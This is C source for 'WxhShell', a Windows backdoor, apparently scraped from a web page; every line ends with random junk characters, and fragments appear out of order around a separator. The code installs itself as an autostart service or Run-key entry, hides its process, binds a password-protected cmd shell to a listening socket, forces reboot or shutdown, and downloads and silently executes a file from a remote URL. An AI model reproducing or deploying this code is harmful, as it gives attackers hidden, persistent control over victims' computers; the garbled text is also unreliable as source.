  case 'd': { i2ap]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4WV'\R+m  
    if(Boot(SHUTDOWN)) W ?;kMGW-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UXz0HRRS0  
    else { lP>}9^7I!  
    closesocket(wsh); Vy-EY*r|  
    ExitThread(0); C3n_'O  
    } 2\flTO2Ny  
    break; ;\@co5.=  
    } g">E it*[  
  // 获取shell =Rl?. +uE  
  case 's': { ), >jBYMJ  
    CmdShell(wsh); M+<xX)   
    closesocket(wsh); d, fX3  
    ExitThread(0); <$#b3F"I  
    break; (U"Ub;[7  
  } Ju""i4  
  // 退出 EP.nVvuL  
  case 'x': { Vy;f4;I{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <MgR x9  
    CloseIt(wsh); NZ(c>r6  
    break; > uS?Nz5/  
    } bi:m;R  
  // 离开 adG=L9 "n  
  case 'q': { nezdk=8J/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0h~Iua5  
    closesocket(wsh); R;9H`L/>  
    WSACleanup(); hlPZTr=a  
    exit(1); I g/SaEF  
    break; p`// *gl  
        } Byf5~OC  
  } ;[*jLi,uc  
  } T:ye2yg  
/"A)}>a  
  // 提示信息 S/}6AX#F4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :DP%>H|  
} B3V:?#  
  } o8+ZgXct  
t?NB#/#%x  
  return; 0GR\iw$[J  
} o9dqHm  
(?SK< 4!  
// shell模块句柄 !r:X`~\a  
int CmdShell(SOCKET sock) t.sbfLu  
{ =`f6@4H  
STARTUPINFO si; Y>KRI2](<  
ZeroMemory(&si,sizeof(si)); ]C |Zs=5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ng]jpdeA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; MWv_BXQ  
PROCESS_INFORMATION ProcessInfo; 6LUO  
char cmdline[]="cmd"; c}iVBN6~.<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yc.Vm[!  
  return 0; UGuEZ-r  
} V[f-Nj Kf  
Ue:'55  
// 自身启动模式 7^|oO~x6  
int StartFromService(void) <3dmY=  
{ i6R2R8  
typedef struct e0O2 >w  
{ 2 s,[DC  
  DWORD ExitStatus; Bl5*sfjG  
  DWORD PebBaseAddress; J/3qJst  
  DWORD AffinityMask; ZMmaM "9  
  DWORD BasePriority; l[=7<F  
  ULONG UniqueProcessId; YQ}xr^VA  
  ULONG InheritedFromUniqueProcessId; FLI\SF<  
}   PROCESS_BASIC_INFORMATION; L,*KgLG  
%liu[6_  
PROCNTQSIP NtQueryInformationProcess; +Hz});ix<  
Mq-QWx"P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8d9&LPv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k=,,s(]tx  
,}15Cse  
  HANDLE             hProcess; M17oAVN7D  
  PROCESS_BASIC_INFORMATION pbi; BIf E+L(  
#3@ Du(_n  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2j_YHv$I  
  if(NULL == hInst ) return 0; a hi lp$v  
3w9j~s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?bc-?<Xk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )X{x\ /N  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Fy|tKMhnc  
T9r"vw  
  if (!NtQueryInformationProcess) return 0;  :[:5^R  
 6e,|HV  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D>9~JHB  
  if(!hProcess) return 0; mA|&K8H  
y:Xs/RS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L/1zG/@  
l2uh"!  
  CloseHandle(hProcess); (vm &&a@  
sS5 ]d8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Rk2V[R.`S  
if(hProcess==NULL) return 0; |FZ)5  
74YMFI   
HMODULE hMod; Q3MG+@)S  
char procName[255]; D"o}XTH  
unsigned long cbNeeded; y=i_:d0M  
?! >B}e&,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  |4uH  
yX%T-/XJ  
  CloseHandle(hProcess); .<zW(PW  
KK; 3<kX  
if(strstr(procName,"services")) return 1; // 以服务启动 y6.}h9~  
K;jV"R<9  
  return 0; // 注册表启动 pEk^;  
} NpV# zzE  
;-p1z% u  
// 主模块 s(*L V2fa  
int StartWxhshell(LPSTR lpCmdLine) :5!>h8p;  
{ Jlw<% }r  
  SOCKET wsl; 9{{QdN8  
BOOL val=TRUE; 2N_8ahc  
  int port=0; VXt8y)?a  
  struct sockaddr_in door; a1Q|su{H  
fE"Q:K6r2  
  if(wscfg.ws_autoins) Install(); N9LBji;nH  
$ o rN>M42  
port=atoi(lpCmdLine); ^'EeJN  
,"?h _NbF  
if(port<=0) port=wscfg.ws_port; bJc<FL<E  
Ed[ tmaEuV  
  WSADATA data; Q!DH8'|4?L  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rU?sUm,ch  
/ fBi9=}+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "?Dov/+Q.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4|Z;EAFx  
  door.sin_family = AF_INET; @UCI^a~w  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); YXE?b@W"  
  door.sin_port = htons(port); X`km\\*  
/BB(riG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^VsX9  
closesocket(wsl); ~!( (?8"  
return 1; C Z8Fe$F  
} ?E1<>4S8  
P" +!mSe^~  
  if(listen(wsl,2) == INVALID_SOCKET) { 61|uvTX  
closesocket(wsl); ~hi\*W6jg  
return 1; S9~X#tpKe  
} 5WN^8`{'3  
  Wxhshell(wsl); tfzIem  
  WSACleanup(); xWk:7,/  
%:I\M)t}k  
return 0; yOKpi&! r  
shjc`Tqm  
} 5\RTy}w3x  
6*`KC)a  
// 以NT服务方式启动 6 &~8TH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qEvHrsw},  
{ RlH|G  
DWORD   status = 0; *?|LE C  
  DWORD   specificError = 0xfffffff; \]Nlka  
VOc_7q_=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C!KxY/*Px  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >B)&mC$$S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R`}C/'Ty  
  serviceStatus.dwWin32ExitCode     = 0; 7_Yxz$m  
  serviceStatus.dwServiceSpecificExitCode = 0; X v[5)4N  
  serviceStatus.dwCheckPoint       = 0; 6&8([J  
  serviceStatus.dwWaitHint       = 0;  8bQ\7jb  
l*^J}oY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W[trsFP1?  
  if (hServiceStatusHandle==0) return; @tQu3Rq@  
H;('h#=cD  
status = GetLastError(); kev|AU (WX  
  if (status!=NO_ERROR) *1F DK{  
{ ^%(HZ'$wC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f681i(q"  
    serviceStatus.dwCheckPoint       = 0; (S1c6~  
    serviceStatus.dwWaitHint       = 0; on?<3eED  
    serviceStatus.dwWin32ExitCode     = status; +/u)/ey  
    serviceStatus.dwServiceSpecificExitCode = specificError; E`#m0Q(8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); RLBeti>  
    return; Z05kn{<a8  
  } <9zzjgzG{c  
*&$J.KM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %UIR GI  
  serviceStatus.dwCheckPoint       = 0; r)Q/YzXx*  
  serviceStatus.dwWaitHint       = 0; |C:^BWrU*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8<BYAHY^  
} #-76E  
vW`Dy8`06  
// 处理NT服务事件,比如:启动、停止 USF9sF0l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3r{3HaN(^'  
{ RmF,x9  
switch(fdwControl) \ G}02h  
{ { +d](+$  
case SERVICE_CONTROL_STOP: +NIq}fZn9  
  serviceStatus.dwWin32ExitCode = 0; cd_\?7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; JbT+w \o  
  serviceStatus.dwCheckPoint   = 0; Y0nnn  
  serviceStatus.dwWaitHint     = 0; pq8XCOllXx  
  { ;U7o)A;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k'O^HMAn!  
  } VaYL#\;c<  
  return; Swugt"`nN  
case SERVICE_CONTROL_PAUSE: f uzz3#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m]C|8b7Y  
  break; OIi8x? .~]  
case SERVICE_CONTROL_CONTINUE: ?`9XFE~a!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Y"Y%JJ.J  
  break; W 7xh  
case SERVICE_CONTROL_INTERROGATE: zNAID-5K;  
  break; h"~i&T h  
}; )OjTn"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i.QS(gM  
} N=Q<mj;,  
9f UD68Nob  
// 标准应用程序主函数 b02V#m;Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D~~"wos  
{ }XmrfegF  
;/ wl.'GA  
// 获取操作系统版本 X<:B"rPuK  
OsIsNt=GetOsVer(); N, `q1B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @zu IR0Gr)  
54[#&T$S  
  // 从命令行安装 z1dSZ0NoA  
  if(strpbrk(lpCmdLine,"iI")) Install(); e}@VR<h  
pe}mA}9U  
  // 下载执行文件 YUGE>"{  
if(wscfg.ws_downexe) { F4M )x`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zN3[W`q+m  
  WinExec(wscfg.ws_filenam,SW_HIDE); e"=/zZH3  
} %"<|u)E  
o%EzK;Df  
if(!OsIsNt) { Q{+*F8%8V<  
// 如果时win9x,隐藏进程并且设置为注册表启动 2@TgeV0Y[  
HideProc(); hc"l^a!7ic  
StartWxhshell(lpCmdLine); AN193o   
} kSW=DE|#}  
else Lzr&Q(mL  
  if(StartFromService()) F~bDA~  
  // 以服务方式启动 v,T :V#f^  
  StartServiceCtrlDispatcher(DispatchTable); " V[=U13  
else 9Hu;CKs  
  // 普通方式启动 }I}/e v  
  StartWxhshell(lpCmdLine); a$=BX=  
/,C;fT<R  
return 0; {oXU)9vj  
} 3(2WO^zX {  
H1bHQB  
fnXYp !  
<x!q! ;  
=========================================== (-}:'5|Yj  
GGM|B}U p  
ppm =o4`s[  
_sp, ,gz  
EF>vu+YK  
]|JQH  
" IOfxx>=3  
h.Y&_=Gc  
#include <stdio.h> ddTsR  
#include <string.h> lF*}l  
#include <windows.h> ^`~s#L7  
#include <winsock2.h> $&25hvK,  
#include <winsvc.h> rCK   
#include <urlmon.h> uBp,_V?  
<mrvuWg0  
#pragma comment (lib, "Ws2_32.lib") LoUHStt  
#pragma comment (lib, "urlmon.lib") \T'.b93~B  
#!0=I s^  
#define MAX_USER   100 // 最大客户端连接数 N>TmaUk  
#define BUF_SOCK   200 // sock buffer Y YE{zU  
#define KEY_BUFF   255 // 输入 buffer o*k.je1  
/M : 7  
#define REBOOT     0   // 重启 qw?Wi%t(x8  
#define SHUTDOWN   1   // 关机 uI9eUO  
N!PPL"5z  
#define DEF_PORT   5000 // 监听端口 V jdu9Ez  
'2S/FOb  
#define REG_LEN     16   // 注册表键长度 6N49q -.Lg  
#define SVC_LEN     80   // NT服务名长度 TdU'L:<4l  
c>|1%}"?  
// 从dll定义API opXxtYC@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d/8p?Km  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "|Ke/0rGB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); bIWSNNV0F  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z bW!c1s{  
bcR";cE  
// wxhshell配置信息 ]/9@^D}&  
struct WSCFG { x/pX?k  
  int ws_port;         // 监听端口 B_uhNLd  
  char ws_passstr[REG_LEN]; // 口令 0&~ JC>S  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6%a9%Is!O  
  char ws_regname[REG_LEN]; // 注册表键名 -Qy@-s $  
  char ws_svcname[REG_LEN]; // 服务名 ]x1;uE?1J  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &lCOhP#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 a1>Tz  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 sSLV R^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P5JE = &M  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }6'%p Bd  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +C}s"qrb@  
9xN`  
}; `@<~VWe5  
{X\%7Zef+  
// default Wxhshell configuration lt{D f~c  
struct WSCFG wscfg={DEF_PORT, \wKnX]xGf  
    "xuhuanlingzhe", en_W4\7^  
    1, &At9@  
    "Wxhshell", q)l1tC72  
    "Wxhshell", d[\$a4G+  
            "WxhShell Service", y$}o{VE{x  
    "Wrsky Windows CmdShell Service", |2Y/l~  
    "Please Input Your Password: ", E5$Fhc   
  1, [t6Y,yo&h4  
  "http://www.wrsky.com/wxhshell.exe", _,<@II  
  "Wxhshell.exe" [Ot<8)Jm  
    }; &s(mbpV  
j5gL 67B  
// 消息定义模块 `Hx JE"/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x MFo  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U>i}C_7g  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /u&7!>,  
char *msg_ws_ext="\n\rExit."; *`_ 2uBz  
char *msg_ws_end="\n\rQuit."; BM o2t'L  
char *msg_ws_boot="\n\rReboot..."; :anR/  
char *msg_ws_poff="\n\rShutdown..."; $qR<_6j  
char *msg_ws_down="\n\rSave to "; k|^YYi= xF  
uhm3}mWv  
char *msg_ws_err="\n\rErr!"; h:AB`E1  
char *msg_ws_ok="\n\rOK!"; (Fj"<  
~c=F$M^"c  
char ExeFile[MAX_PATH]; 0<XxR6w  
int nUser = 0; <74r  
HANDLE handles[MAX_USER]; V}MRdt7  
int OsIsNt; Qp;FVUw9  
Eb7GiRT#  
SERVICE_STATUS       serviceStatus; "$nff=]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =D`:2k~ ,  
eMLcm ZJR  
// 函数声明 &X6hOc:``\  
int Install(void); cX#U_U~d  
int Uninstall(void); 8Sk$o.Gy  
int DownloadFile(char *sURL, SOCKET wsh); 8 KRo<  
int Boot(int flag); Zg4kO;r08  
void HideProc(void); $!vK#8-&{  
int GetOsVer(void); ?sW}<8\  
int Wxhshell(SOCKET wsl); [VE>{4]W  
void TalkWithClient(void *cs); T<%%f.x[s  
int CmdShell(SOCKET sock); )&$mFwf  
int StartFromService(void); aM4-quaG]  
int StartWxhshell(LPSTR lpCmdLine); [;Jq=G8&t  
z?t75#u9.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); goOw.~dZ'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -cWGF  
oh7tE$"c  
// 数据结构和表定义 iOtf7.@  
SERVICE_TABLE_ENTRY DispatchTable[] = }Oq P`B  
{ xnDst9%  
{wscfg.ws_svcname, NTServiceMain}, Q0%s|8Jc  
{NULL, NULL} HPX JRQBE  
}; uE}$ZBi q  
X>i{288M3  
// 自我安装 tZY6{,K%4  
int Install(void) ;YZ'd"0v  
{ )~CNh5z 6Y  
  char svExeFile[MAX_PATH]; d[YG&.}+8j  
  HKEY key; P @~)9W  
  strcpy(svExeFile,ExeFile); ]2c0?f*Y7  
N<O<wtXIj  
// 如果是win9x系统,修改注册表设为自启动  Khh}flRy  
if(!OsIsNt) { KJv[z   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F+]cFx,/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X2E=2tXl`7  
  RegCloseKey(key); 3 TRG] 5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `<6FCn4{X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VsDY,=Ww  
  RegCloseKey(key); 0$_WIk  
  return 0; WFTwFm6  
    } NpxgF<G  
  } |zJ2ZE|  
} IN,=v+A  
else { 9w6 uoM  
j XYr&F  
// 如果是NT以上系统,安装为系统服务 3a'#Z4Z-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); pV`/6 }  
if (schSCManager!=0) '?6j.ms M  
{ ? U* `!-  
  SC_HANDLE schService = CreateService !xU[BCbfYV  
  ( Svdmg D!  
  schSCManager, +(Jh$b_  
  wscfg.ws_svcname, VNs3.  
  wscfg.ws_svcdisp, ;?y~ h$  
  SERVICE_ALL_ACCESS, #itZ~tol  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =imJ0V~RW  
  SERVICE_AUTO_START, /i{V21(%  
  SERVICE_ERROR_NORMAL, ]!uId#OH  
  svExeFile, C%|m[,Gx  
  NULL, }lP`3e  
  NULL, BZ(DP_}&D  
  NULL, "y60YYn-#J  
  NULL, ^I{/j 'b&  
  NULL X%T%N;P  
  ); W^pf 1I8[  
  if (schService!=0) R+El/ya:6  
  { Y8h 96  
  CloseServiceHandle(schService); y[zjs^-vCv  
  CloseServiceHandle(schSCManager); qC B{dp/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #8$" 84&N.  
  strcat(svExeFile,wscfg.ws_svcname); O=jzz&E+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4HpKKhv"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K'y|_XsBB)  
  RegCloseKey(key); fX2OH)6U  
  return 0; Hzz v 6k  
    } X6BOB?  
  } hrGX65>  
  CloseServiceHandle(schSCManager); %/d1x  
} s{*bFA Z1F  
} ^v+p@k  
czsnPmNEI  
return 1; r5y*SoD!  
} D=SjCmG  
,b:~Vpb1I  
// 自我卸载 ">5$;{;2r  
int Uninstall(void) {w@9\LsU  
{ f`iDF+h<6  
  HKEY key; !JBj%|!  
u'^kpr`y  
if(!OsIsNt) { d5`D[,]d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X|aD>CT  
  RegDeleteValue(key,wscfg.ws_regname); S|fb'  
  RegCloseKey(key); biS{.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { csA-<}S5]b  
  RegDeleteValue(key,wscfg.ws_regname); @1i<=r  
  RegCloseKey(key); Ro;I%j  
  return 0; mW~*GD~r  
  } s~ou$!|  
} o$Y#C{wC%  
} p K ^$^*#  
else { zRgAmX/g  
<+<Nsza  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); IZGRQmi"  
if (schSCManager!=0) //RD$e?h~  
{ zN=s]b=/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yMC6 Gvp  
  if (schService!=0) de;CEm<n  
  { Vt,P.CfdC  
  if(DeleteService(schService)!=0) { !N!AO(Z  
  CloseServiceHandle(schService); )Cat$)I#,  
  CloseServiceHandle(schSCManager); qj4jM7  
  return 0; w"W;PdH)  
  } P#V}l'j(<a  
  CloseServiceHandle(schService); lPrAx0m13%  
  } Hv2[=elc  
  CloseServiceHandle(schSCManager); cc8Q}   
} $<"I*l@  
} 0M?zotv0#  
o' v!83$L  
return 1; yivWT;`  
} aMVq%{U  
~,Yd.?.TI  
// 从指定url下载文件 IfT: 9 &  
int DownloadFile(char *sURL, SOCKET wsh) Q3Y(K\  
{ dkqyn"^  
  HRESULT hr; m/;fY>}3  
char seps[]= "/"; *aq"c9  
char *token; ; rNX  
char *file; jeB"j  
char myURL[MAX_PATH]; qJ .XI   
char myFILE[MAX_PATH]; oS}fr?  
5" (FilM  
strcpy(myURL,sURL); HKIr?  
  token=strtok(myURL,seps); /`0>U  
  while(token!=NULL) m#-&<=  
  { `sg W0Uf  
    file=token; nwzyL`kF  
  token=strtok(NULL,seps); a8gOb6qF/H  
  } @sW!g;\T  
PIdGis5G  
GetCurrentDirectory(MAX_PATH,myFILE); < +k dL  
strcat(myFILE, "\\"); '4,IGxIq  
strcat(myFILE, file); -%Rbd0gVH\  
  send(wsh,myFILE,strlen(myFILE),0); awjAv8tPO!  
send(wsh,"...",3,0); }Oqt=Wm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); kB%.i%9\\  
  if(hr==S_OK) m&z(2yb1  
return 0; '=eVem=  
else fJ6Q:7  
return 1; $*LBZcL  
sZ7~AJ  
} V F b  
)eqF21\  
// 系统电源模块 6urU[t1  
int Boot(int flag) 6'.)z ,ts  
{ ((<\VQ,>(  
  HANDLE hToken; J1Az+m  
  TOKEN_PRIVILEGES tkp; )o-mM tPj  
1Dhu 5ht  
  if(OsIsNt) { Pjxj$>&;*j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {B e9$$W,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); RKM5FXX  
    tkp.PrivilegeCount = 1; 3(nnN[?N,5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; JT=ax/%Mo  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G]{^.5  
if(flag==REBOOT) { |n^rI\ p%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .g?D3$|K  
  return 0; >yVp1Se  
} cYXL3)p*Q  
else { bUds E 1f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) EziGkbpd@  
  return 0; IGi9YpI&K  
} -@Urq>^v T  
  } Jr= fc*f  
  else { [LUqF?K&  
if(flag==REBOOT) { =BJe}AV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) b TZ.y.sI  
  return 0; =+I-9=  
} ,}"jiGgS4  
else { @ &Od1X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) MJCz %zK  
  return 0; ZLdIEBi=  
} YpRhl(|  
} GV28&!4sS  
p )]x,F  
return 1; & JJ*?Dl  
} Q1x15pVku/  
v(=0hY9 O  
// win9x进程隐藏模块 g!o2vTt5  
void HideProc(void) ]ms+ Va_/  
{ 1L!jI2~x}  
Ta/ u&t4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]0MuXiR  
  if ( hKernel != NULL ) p=zTY7L  
  { y~\uS  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0IP0z il  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s&<76kwl  
    FreeLibrary(hKernel); Q#.E-\=^  
  } jA[")RVG  
0&b;!N!vJ  
return; N8x.D-=gG  
} fO .=i1 E}  
D*?LcxX  
// 获取操作系统版本 G;/l[mvh,  
int GetOsVer(void) g+c%J#F=  
{ 7s!rer>  
  OSVERSIONINFO winfo; AT1{D!b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;:+2.//  
  GetVersionEx(&winfo); n}fV$qu  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) TeO'E<@  
  return 1; kHhku!CH  
  else ^U96p0H"T  
  return 0; I0=L_&`)  
} oA7|s1  
N 7Y X  
// 客户端句柄模块  Zy8tI#  
int Wxhshell(SOCKET wsl) 5zkj ;?s  
{ ]VE3u_kR  
  SOCKET wsh; o~q.j_Sa  
  struct sockaddr_in client; -5|el3%)  
  DWORD myID; 5J1a8RBR  
Kp1 F"!  
  while(nUser<MAX_USER) +DR{aX/ll  
{ 1oQbV`P  
  int nSize=sizeof(client); {6wXDZxv  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (TO<SY3AB  
  if(wsh==INVALID_SOCKET) return 1; W:6#0b"_#  
25 :vc0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -mmQ]'.0  
if(handles[nUser]==0) kC6Y?g  
  closesocket(wsh); 4FZ/~Y1}  
else |"9vq<`  
  nUser++; i~R+ g3oi  
  } p~""1m01,D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Sm?|,C3V  
7,V_5M;t  
  return 0; LU`)  
} w"#rwV&  
%}Y&qT?  
// 关闭 socket QD%6K=8Q  
void CloseIt(SOCKET wsh) Q~k|lTf  
{ aNQ(xiskb  
closesocket(wsh); r KdsVW  
nUser--; |$ZS26aYw}  
ExitThread(0); ZM <UiN  
} 81(\8#./  
sG[qlzR=8  
// 客户端请求句柄 aGsO~ODc  
void TalkWithClient(void *cs) s{V&vRr  
{ 8Q{9AoQ3'  
&0:Gj3`  
  SOCKET wsh=(SOCKET)cs; U5@B7v1  
  char pwd[SVC_LEN]; \u(Gj]B#"  
  char cmd[KEY_BUFF]; :(tKc3z  
char chr[1]; dLwP7#r  
int i,j; 8*&73cp  
)  LTV+?  
  while (nUser < MAX_USER) { l @@pXg3  
^P/OHuDL  
if(wscfg.ws_passstr) {  w}t}Sh  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m qUDve(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Fi\) ka\u  
  //ZeroMemory(pwd,KEY_BUFF); |ITb1O`_P  
      i=0; @~N"MsF3  
  while(i<SVC_LEN) { gTB|IcOs  
;X0uA?  
  // 设置超时 ;:ZD<'+N  
  fd_set FdRead; qQO*:_ezzk  
  struct timeval TimeOut; \F\7*=xk  
  FD_ZERO(&FdRead); D!Nc&|X^  
  FD_SET(wsh,&FdRead); .h4Z\R`  
  TimeOut.tv_sec=8; oWi#?'  
  TimeOut.tv_usec=0; S1'?"zAmd  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _^zs(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1p&=tN  
t}pYSSTz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QR8]d1+GV  
  pwd=chr[0]; nGc'xQy0  
  if(chr[0]==0xd || chr[0]==0xa) { PU B0H  
  pwd=0; )J+rt^4|  
  break; nU\.`.39 +  
  } T2)CiR-b  
  i++; Us pv^O9_  
    } P c5C*{C  
|E||e10wR  
  // 如果是非法用户,关闭 socket uGW#z_{(n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B> \q!dX3  
} C#1'kQO  
F{.g05^y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6cbV[ !BL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NiE`u m  
]gv3|W  
while(1) { O*,O]Q  
e7&RZ+s#wZ  
  ZeroMemory(cmd,KEY_BUFF); H$Pf$D$  
}j2t8B^&:  
      // 自动支持客户端 telnet标准   D;+Y0B  
  j=0; w T_l>u  
  while(j<KEY_BUFF) { Az#kE.8b*A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -;qK_x  
  cmd[j]=chr[0]; p-rQ'e  
  if(chr[0]==0xa || chr[0]==0xd) { [C~N#S[]  
  cmd[j]=0; Nt?=0X|M  
  break; r;H#cMj  
  } `022gHYv  
  j++; +u\w4byl  
    } +ek6}f#  
[)I W9E v  
  // 下载文件 (I>SqM Y  
  if(strstr(cmd,"http://")) { cd=H4:<T5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V2@( BliP  
  if(DownloadFile(cmd,wsh)) ~ Hj c?*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +2Aggv>*  
  else ;G"!y<F  
